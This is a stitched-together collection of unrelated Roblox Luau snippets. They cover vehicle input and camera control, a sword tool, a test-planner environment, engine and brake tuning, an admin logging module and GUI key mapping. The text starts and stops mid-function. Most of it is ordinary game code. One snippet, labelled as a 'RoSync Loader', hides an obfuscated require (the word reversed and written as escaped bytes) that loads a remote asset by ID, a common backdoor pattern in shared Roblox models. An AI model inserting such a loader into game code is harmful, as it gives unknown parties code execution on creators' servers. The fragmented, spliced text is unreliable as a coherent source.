elseif input.UserInputState == Enum.UserInputState.End then
ButtonX=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonY then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonY=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonY=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonL1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonL1=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR1=0
end
elseif input.KeyCode ==Enum.KeyCode.DPadLeft then
if input.UserInputState == Enum.UserInputState.Begin then
DPadUp=1
elseif input.UserInputState == Enum.UserInputState.End then
DPadUp=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR3=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR3=0
end
end
if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads
if input.KeyCode == Enum.KeyCode.Thumbstick1 then
LStickX = input.Position.X
elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then
RStickX = input.Position.X
RStickY = input.Position.Y
elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder
RTriggerValue = input.Position.Z
elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder
LTriggerValue = input.Position.Z
end
end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too
UserInputService.InputEnded:connect(DealWithInput)
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
for i,v in pairs(Binded) do
run:UnbindFromRenderStep(v)
end
workspace.CurrentCamera.CameraType=Enum.CameraType.Custom
workspace.CurrentCamera.FieldOfView=70
player.CameraMaxZoomDistance=200
end
end)
function Camera()
local cam=workspace.CurrentCamera
local intcam=false
local CRot=0
local CBack=0
local CUp=0
local mode=0
local look=0
local camChange = 0
local function CamUpdate()
if not pcall (function()
if camChange==0 and DPadUp==1 then
intcam = not intcam
end
camChange=DPadUp
if mode==1 then
if math.abs(RStickX)>.1 then
local sPos=1
if RStickX<0 then sPos=-1 end
if intcam then
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80
else
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90
end
else
CRot=0
end
if math.abs(RStickY)>.1 then
local sPos=1
if RStickY<0 then sPos=-1 end
if intcam then
CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30
else
CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30)
end
else
CUp=0
end
else
if CRot>look then
CRot=math.max(look,CRot-20)
elseif CRot<look then
CRot=math.min(look,CRot+20)
end
CUp=0
end
if intcam then
CBack=0
else
CBack=-180*ButtonR3
end
if intcam then
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Scriptable
cam.FieldOfView=70 + car.DriveSeat.Velocity.Magnitude/10
player.CameraMaxZoomDistance=5
local cf=car.Body.Cam.CFrame
if ButtonR3==1 then
cf=car.Body.RCam.CFrame
end
cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0)
else
cam.CameraSubject=car.DriveSeat
cam.FieldOfView=70
if mode==0 then
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
else
cam.CameraType = "Scriptable"
local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
end
end
end) then
cam.FieldOfView=70
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
end
end
local function ModeChange()
if GMode~=mode then
mode=GMode
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end
mouse.KeyDown:connect(function(key)
if key=="z" then
look=50
elseif key=="x" then
if intcam then
look=-160
else
look=-180
end
elseif key=="c" then
look=-50
elseif key=="v" then
run:UnbindFromRenderStep("CamUpdate")
intcam=not intcam
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end)
mouse.KeyUp:connect(function(key)
if key=="z" and look==50 then
look=0
elseif key=="x" and (look==-160 or look==-180) then
look=0
elseif key=="c" and look==-50 then
look=0
end
end)
run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange)
table.insert(Binded,"CamUpdate")
table.insert(Binded,"CMChange")
end
Camera()
mouse.KeyDown:connect(function(key)
if key=="b" then
if GMode>=1 then
GMode=0
else
GMode=GMode+1
end
if GMode==1 then
Controller=true
else
Controller=false
end
end
end)
|
--> LOCAL VARIABLES
|
local Flare = script.Parent
local Player = game.Players.LocalPlayer
local ClickedEvent = Flare:WaitForChild("PlayerClicked")
local FlareHandle = Flare:WaitForChild("Handle")
local ReloadTime = Flare:WaitForChild("Customisation"):WaitForChild("ReloadTime").Value
local FireAnim = Flare:WaitForChild("FireAnimation")
local ReloadAnim = Flare:WaitForChild("ReloadAnimation")
local Reloading = false
|
-- In GNU diff format, indexes are one-based instead of zero-based.
|
local function createPatchMark(
aStart: number,
aEnd: number,
bStart: number,
bEnd: number,
options: DiffOptionsNormalized
): string
return options.patchColor(
string.format("@@ -%d,%d +%d,%d @@", aStart + 1, aEnd - aStart, bStart + 1, bEnd - bStart)
)
end
|
-- Hitbox values
|
local MINIMUM_SECONDS_SCHEDULER: number = 1 / 60
local DEFAULT_SIMULATION_TYPE: RBXScriptSignal = game:GetService("RunService").Heartbeat
|
--[[
Singleton manager that controls the monsters.
]]
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerStorage = game:GetService("ServerStorage")
local Registry = require(ReplicatedStorage.Dependencies.GameUtils.Components.Registry)
local TableUtils = require(ReplicatedStorage.Dependencies.LuaUtils.TableUtils)
local Monster = require(ServerStorage.Source.Components.Monster)
local getRandomClearLocationInRegionAsync = require(ServerStorage.Source.Common.getRandomClearLocationInRegionAsync)
local CLEAR_AREA_TO_SPAWN = Vector3.new(5, 5, 5)
local monsters = Registry.new(Monster)
local interests = {}
local monsterId = 1
local MonsterManager = {}
|
-- Tool.Grip = Grips.Up
|
Tool.Enabled = true
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Blow(Hit)
if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then
return
end
local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
return
end
local character = Hit.Parent
if character == Character then
return
end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
humanoid:TakeDamage(Damage)
end
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R6 then
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Slash"
Anim.Parent = Tool
elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
local Anim = Tool:FindFirstChild("R15Slash")
if Anim then
local Track = Humanoid:LoadAnimation(Anim)
Track:Play(0)
end
end
end
end
function Lunge()
Damage = DamageValues.LungeDamage
Sounds.Lunge:Play()
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R6 then
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Lunge"
Anim.Parent = Tool
elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
local Anim = Tool:FindFirstChild("R15Lunge")
if Anim then
local Track = Humanoid:LoadAnimation(Anim)
Track:Play(0)
end
end
end
--[[
if CheckIfAlive() then
local Force = Instance.new("BodyVelocity")
Force.velocity = Vector3.new(0, 10, 0)
Force.maxForce = Vector3.new(0, 4000, 0)
Debris:AddItem(Force, 0.4)
Force.Parent = Torso
end
]]
wait(0.2)
Tool.Grip = Grips.Out
wait(0.6)
Tool.Grip = Grips.Up
Damage = DamageValues.SlashDamage
end
Tool.Enabled = true
LastAttack = 0
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
Tool.Enabled = false
local Tick = RunService.Stepped:wait()
if (Tick - LastAttack < 0.2) then
Lunge()
else
Attack()
end
LastAttack = Tick
--wait(0.5)
Damage = DamageValues.BaseDamage
local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){
Name = "R15Slash",
AnimationId = BaseUrl .. Animations.R15Slash,
Parent = Tool
})
local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){
Name = "R15Lunge",
AnimationId = BaseUrl .. Animations.R15Lunge,
Parent = Tool
})
Tool.Enabled = true
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChildOfClass("Humanoid")
Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart")
if not CheckIfAlive() then
return
end
ToolEquipped = true
Sounds.Unsheath:Play()
end
function Unequipped()
-- Tool.Grip = Grips.Up
ToolEquipped = false
end
Tool.Activated:Connect(Activated)
Tool.Equipped:Connect(Equipped)
Tool.Unequipped:Connect(Unequipped)
Connection = Handle.Touched:Connect(Blow)
|
--[[
Represents a tree of tests that have been loaded but not necessarily
executed yet.
TestPlan objects are produced by TestPlanner.
]]
|
local TestEnum = require(script.Parent.TestEnum)
local Expectation = require(script.Parent.Expectation)
local function getCoreScriptSyncService()
local success, result = pcall(function()
return game:GetService("CoreScriptSyncService")
end)
return success and result or nil
end
local CoreScriptSyncService = nil
local function getFilePathFromInstance(instance)
if CoreScriptSyncService == nil then
CoreScriptSyncService = getCoreScriptSyncService() or false
end
local success, result = pcall(function()
if not CoreScriptSyncService then
return nil
end
return CoreScriptSyncService:GetScriptFilePath(instance)
end)
return (success and result or nil)
end
local function newEnvironment(currentNode, extraEnvironment, filePath)
local env = {}
if extraEnvironment then
if type(extraEnvironment) ~= "table" then
error(("Bad argument #2 to newEnvironment. Expected table, got %s"):format(typeof(extraEnvironment)), 2)
end
for key, value in pairs(extraEnvironment) do
env[key] = value
end
end
local function addChild(phrase, callback, nodeType, nodeModifier)
local node = currentNode:addChild(phrase, nodeType, nodeModifier, filePath)
node.callback = callback
if nodeType == TestEnum.NodeType.Describe then
node:expand()
end
return node
end
function env.describeFOCUS(phrase, callback)
addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.Focus)
end
function env.describeSKIP(phrase, callback)
addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.Skip)
end
function env.describe(phrase, callback, nodeModifier)
addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.None)
end
function env.itFOCUS(phrase, callback)
addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Focus)
end
function env.itSKIP(phrase, callback)
addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Skip)
end
function env.itFIXME(phrase, callback)
local node = addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Skip)
warn("FIXME: broken test", node:getFullName())
end
function env.it(phrase, callback, nodeModifier)
addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.None)
end
-- Incrementing counter used to ensure that beforeAll, afterAll, beforeEach, afterEach have unique phrases
local lifecyclePhaseId = 0
local lifecycleHooks = {
[TestEnum.NodeType.BeforeAll] = "beforeAll",
[TestEnum.NodeType.AfterAll] = "afterAll",
[TestEnum.NodeType.BeforeEach] = "beforeEach",
[TestEnum.NodeType.AfterEach] = "afterEach",
}
for nodeType, name in pairs(lifecycleHooks) do
env[name] = function(callback)
addChild(name .. "_" .. tostring(lifecyclePhaseId), callback, nodeType, TestEnum.NodeModifier.None)
lifecyclePhaseId = lifecyclePhaseId + 1
end
end
function env.FIXME(optionalMessage)
warn("FIXME: broken test", currentNode:getFullName(), optionalMessage or "")
currentNode.modifier = TestEnum.NodeModifier.Skip
end
function env.FOCUS()
currentNode.modifier = TestEnum.NodeModifier.Focus
end
function env.SKIP()
currentNode.modifier = TestEnum.NodeModifier.Skip
end
--[[
This function is deprecated. Calling it is a no-op beyond generating a
warning.
]]
function env.HACK_NO_XPCALL()
warn(
"HACK_NO_XPCALL is deprecated. It is now safe to yield in an "
.. "xpcall, so this is no longer necessary. It can be safely deleted."
)
end
env.fit = env.itFOCUS
env.xit = env.itSKIP
env.fdescribe = env.describeFOCUS
env.xdescribe = env.describeSKIP
env.expect = setmetatable({
extend = function(...)
error('Cannot call "expect.extend" from within a "describe" node.')
end,
}, {
__call = function(_self, ...)
return Expectation.new(...)
end,
})
return env
end
local TestNode = {}
TestNode.__index = TestNode
|
--- Recursively sets the table as ReadOnly
-- @tparam table table Table to error on indexing
-- @treturn table table The same table
|
function Table.deepReadonly(table)
for _, item in pairs(table) do
if type(item) == "table" then
Table.deepReadonly(item)
end
end
return Table.readonly(table)
end
return Table
|
-- emote bindable hook
--script:WaitForChild("PlayEmote").OnInvoke = function(emote)
-- -- Only play emotes when idling
-- if pose ~= "Standing" then
-- return
-- end
| |
--[[
Merges all arrays into one array, eliminating duplicate values
--]]
|
local function mergeArraysUniqueOnly(...: { any })
local results = {}
for _, array in ipairs({ ... }) do
if not array then
continue
end
for _, value in ipairs(array) do
if not table.find(results, value) then
table.insert(results, value)
end
end
end
return results
end
return mergeArraysUniqueOnly
|
-- Gradually regenerates the Humanoid's Health over time.
|
local REGEN_RATE = 100/100 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 0.1 -- Wait this long between each regeneration step.
|
--[[ Last synced 12/18/2020 11:05 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--function onKeyPress(inputObject, gameProcessedEvent)
-- if not gameProcessedEvent then
-- if inputObject.KeyCode == Enum.KeyCode.E then
-- if Mode == "Narrow" then
-- Tool.RemoteEvent:FireServer(nil, "Narrow")
-- Mode = "Fog"
-- else
-- Tool.RemoteEvent:FireServer(nil, "Fog")
-- Mode = "Narrow"
-- end
-- end
-- end
--end
--game:GetService("UserInputService").InputEnded:connect(onKeyPress)
| |
-- Represents the function to determine piercing.
|
export type CanPierceFunction = (ActiveCast, RaycastResult, Vector3) -> boolean
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.BrakeForce = 2500 -- Total brake force (LuaInt)
Tune.BrakeBias = .6 -- Brake bias towards the front, percentage (1 = Front, 0 = Rear, .5 = 50/50)
Tune.PBrakeForce = 5000 -- Handbrake force
Tune.PBrakeBias = 0 -- Handbrake bias towards the front, percentage (1 = Front, 0 = Rear, .5 = 50/50)
Tune.EBrakeForce = 500 -- Engine braking force at redline
|
--WeldRec(P.Parent.Lights)
|
for _,v in pairs(weldedParts) do
if v:IsA("MeshPart") then
v.Anchored = false
end
end
script:Destroy()
|
--- Returns an array of the names of all registered types (not including aliases)
|
function Registry:GetTypeNames ()
local typeNames = {}
for typeName in pairs(self.Types) do
table.insert(typeNames, typeName)
end
return typeNames
end
|
--[[Engine]]
|
local fFD = _Tune.FinalDrive*_Tune.FDMult
--Horsepower Curve
local fgc_h=_Tune.Horsepower/100
local fgc_n=_Tune.PeakRPM/1000
local fgc_a=_Tune.PeakSharpness
local fgc_c=_Tune.CurveMult
function FGC(x)
x=x/1000
return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1))))
end
local PeakFGC = FGC(_Tune.PeakRPM)
--Plot Current Horsepower
local cGrav = workspace.Gravity/32.2
function GetCurve(x)
local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0)
local iComp =(car.DriveSeat.CFrame.lookVector.y)*_Tune.InclineComp*cGrav
if _CGear==-1 then iComp=-iComp end
return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[_CGear+2]*fFD*math.max(1,(1+iComp))*hpScaling
end
--Powertrain
function Engine()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
--Car Is Off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle/100
end
--Determine RPM
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFD*30/math.pi,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
_HP,_OutTorque = GetCurve(_RPM)
else
if _GThrot-(_Tune.IdleThrottle/100)>0 then
_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
_OutTorque = 0
end
--Rev Limiter
local spLimit = 0
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
spLimit = 0
else
_RPM = _RPM-_Tune.RevBounce*.5
end
else
spLimit = (_Tune.Redline+100)*math.pi/(30*_Tune.Ratios[_CGear+2]*fFD)
end
--Automatic Transmission
if _TMode == "Auto" and _IsOn then
_ClutchOn = true
if _CGear == 0 then _CGear = 1 end
if _CGear >= 1 then
if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 20 then
_CGear = -1
else
if _Tune.AutoShiftMode == "RPM" then
if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFD*30/math.pi,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
_CGear=math.max(_CGear-1,1)
end
else
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDia*math.pi*(_Tune.PeakRPM+_Tune.AutoUpThresh)/60/_Tune.Ratios[_CGear+2]/fFD) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDia*math.pi*(_Tune.PeakRPM-_Tune.AutoDownThresh)/60/_Tune.Ratios[_CGear+1]/fFD) then
_CGear=math.max(_CGear-1,1)
end
end
end
else
if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 20 then
_CGear = 1
end
end
end
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*CFrame.Angles(math.pi/2,-math.pi/2,0)).lookVector),v.Position)*CFrame.Angles(0,math.pi,0)).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--AWD Torque Scaling
if _Tune.Config == "AWD" then _OutTorque = _OutTorque*(2^.5)/2 end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not script.Parent.IsOn.Value then on=0 end
local throt = _GThrot
if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end
--Apply TCS
local tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSActive = true
end
--Update Forces
local dir = 1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on
v["#AV"].angularvelocity=Ref*aRef*spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = _GBrake
if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
if tqABS < 1 then
_ABSActive = true
end
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
--// Special Variables
|
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local server = Vargs.Server;
local service = Vargs.Service;
local MaxLogs = 1000
local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings
local function Init()
Functions = server.Functions;
Admin = server.Admin;
Anti = server.Anti;
Core = server.Core;
HTTP = server.HTTP;
Logs = server.Logs;
Remote = server.Remote;
Process = server.Process;
Variables = server.Variables;
Settings = server.Settings;
MaxLogs = Settings.MaxLogs;
game:BindToClose(Logs.SaveCommandLogs);
Logs.Init = nil;
Logs:AddLog("Script", "Logging Module Initialized");
end;
server.Logs = {
Init = Init;
Chats = {};
Joins = {};
Leaves = {};
Script = {};
RemoteFires = {};
Commands = {};
Exploit = {};
Errors = {};
DateTime = {};
TempUpdaters = {};
OldCommandLogsLimit = 1000; --// Maximum number of command logs to save to the datastore (the higher the number, the longer the server will take to close)
TabToType = function(tab)
local indToName = {
Chats = "Chat";
Joins = "Join";
Leaves = "Leave";
Script = "Script";
RemoteFires = "RemoteFire";
Commands = "Command";
Exploit = "Exploit";
Errors = "Error";
DateTime = "DateTime";
}
for ind, t in pairs(server.Logs) do
if t == tab then
return indToName[ind] or ind
end
end
end;
AddLog = function(tab, log, misc)
if misc then
tab = log
log = misc
end
if type(tab) == "string" then
tab = Logs[tab]
end
if type(log) == "string" then
log = {
Text = log;
Desc = log;
}
end
if not log.Time and not log.NoTime then
log.Time = os.time()
end
table.insert(tab, 1, log)
if #tab > tonumber(MaxLogs) then
table.remove(tab, #tab)
end
service.Events.LogAdded:Fire(server.Logs.TabToType(tab), log, tab)
end;
SaveCommandLogs = function()
warn("Saving command logs...")
if Settings.SaveCommandLogs ~= true or Settings.DataStoreEnabled ~= true then
warn("Skipped saving command logs.")
return
end
local logsToSave = Logs.Commands --{}
local maxLogs = Logs.OldCommandLogsLimit
--local numLogsToSave = 200; --// Save the last X logs from this server
--for i = #Logs.Commands, i = math.max(#Logs.Commands - numLogsToSave, 1), -1 do
-- table.insert(logsToSave, Logs.Commands[i]);
--end
Core.UpdateData("OldCommandLogs", function(oldLogs)
local temp = {}
for _, m in ipairs(logsToSave) do
local newTab = type(m) == "table" and service.CloneTable(m) or m
if type(m) == "table" and newTab.Player then
local p = newTab.Player
newTab.Player = {
Name = p.Name;
UserId = p.UserId;
}
end
table.insert(temp, newTab)--{Time = m.Time; Text = m.Text..": "..m.Desc; Desc = m.Desc})
end
if oldLogs then
for _, m in ipairs(oldLogs) do
table.insert(temp, m)
end
end
table.sort(temp, function(a, b)
if a.Time and b.Time and type(a.Time) == "number" and type(b.Time) == "number" then
return a.Time > b.Time
else
return false
end
end)
--// Trim logs, starting from the oldest
if #temp > maxLogs then
local diff = #temp - maxLogs
for i = 1, diff do
table.remove(temp, 1)
end
end
return temp
end)
warn("Command logs saved!")
end;
ListUpdaters = {
TempUpdate = function(plr, data)
local updateKey = data.UpdateKey
local updater = Logs.TempUpdaters[updateKey]
if updater then
return updater(data)
end
end;
};
};
Logs = Logs
end
|
--------------------[ GUI SETUP FUNCTION ]--------------------------------------------
|
function ConvertKey(Key)
if Key == string.char(8) then
return "BKSPCE"
elseif Key == string.char(9) then
return "TAB"
elseif Key == string.char(13) then
return "ENTER"
elseif Key == string.char(17) then
return "UP"
elseif Key == string.char(18) then
return "DOWN"
elseif Key == string.char(19) then
return "RIGHT"
elseif Key == string.char(20) then
return "LEFT"
elseif Key == string.char(22) then
return "HOME"
elseif Key == string.char(23) then
return "END"
elseif Key == string.char(27) then
return "F2"
elseif Key == string.char(29) then
return "F4"
elseif Key == string.char(30) then
return "F5"
elseif Key == string.char(32) or Key == " " then
return "F7"
elseif Key == string.char(33) or Key == "!" then
return "F8"
elseif Key == string.char(34) or Key == '"' then
return "F9"
elseif Key == string.char(35) or Key == "#" then
return "F10"
elseif Key == string.char(37) or Key == "%" then
return "F12"
elseif Key == string.char(47) or Key == "/" then
return "R-SHIFT"
elseif Key == string.char(48) or Key == "0" then
return "L-SHIFT"
elseif Key == string.char(49) or Key == "1" then
return "R-CTRL"
elseif Key == string.char(50) or Key == "2" then
return "L-CTRL"
elseif Key == string.char(51) or Key == "3" then
return "R-ALT"
elseif Key == string.char(52) or Key == "4" then
return "L-ALT"
else
return string.upper(Key)
end
end
function CreateControlFrame(Key, Desc, Num)
local C = Instance.new("Frame")
C.BackgroundTransparency = ((Num % 2) == 1 and 0.7 or 1)
C.BorderSizePixel = 0
C.Name = "C"..Num
C.Position = UDim2.new(0, 0, 0, Num * 20)
C.Size = UDim2.new(1, 0, 0, 20)
local K = Instance.new("TextLabel")
K.BackgroundTransparency = 1
K.Name = "Key"
K.Size = UDim2.new(0, 45, 1, 0)
K.Font = Enum.Font.ArialBold
K.FontSize = Enum.FontSize.Size14
K.Text = Key
K.TextColor3 = Color3.new(1, 1, 1)
K.TextScaled = (string.len(Key) > 5)
K.TextWrapped = (string.len(Key) > 5)
K.Parent = C
local D = Instance.new("TextLabel")
D.BackgroundTransparency = 1
D.Name = "Desc"
D.Position = UDim2.new(0, 50, 0, 0)
D.Size = UDim2.new(1, -50, 1, 0)
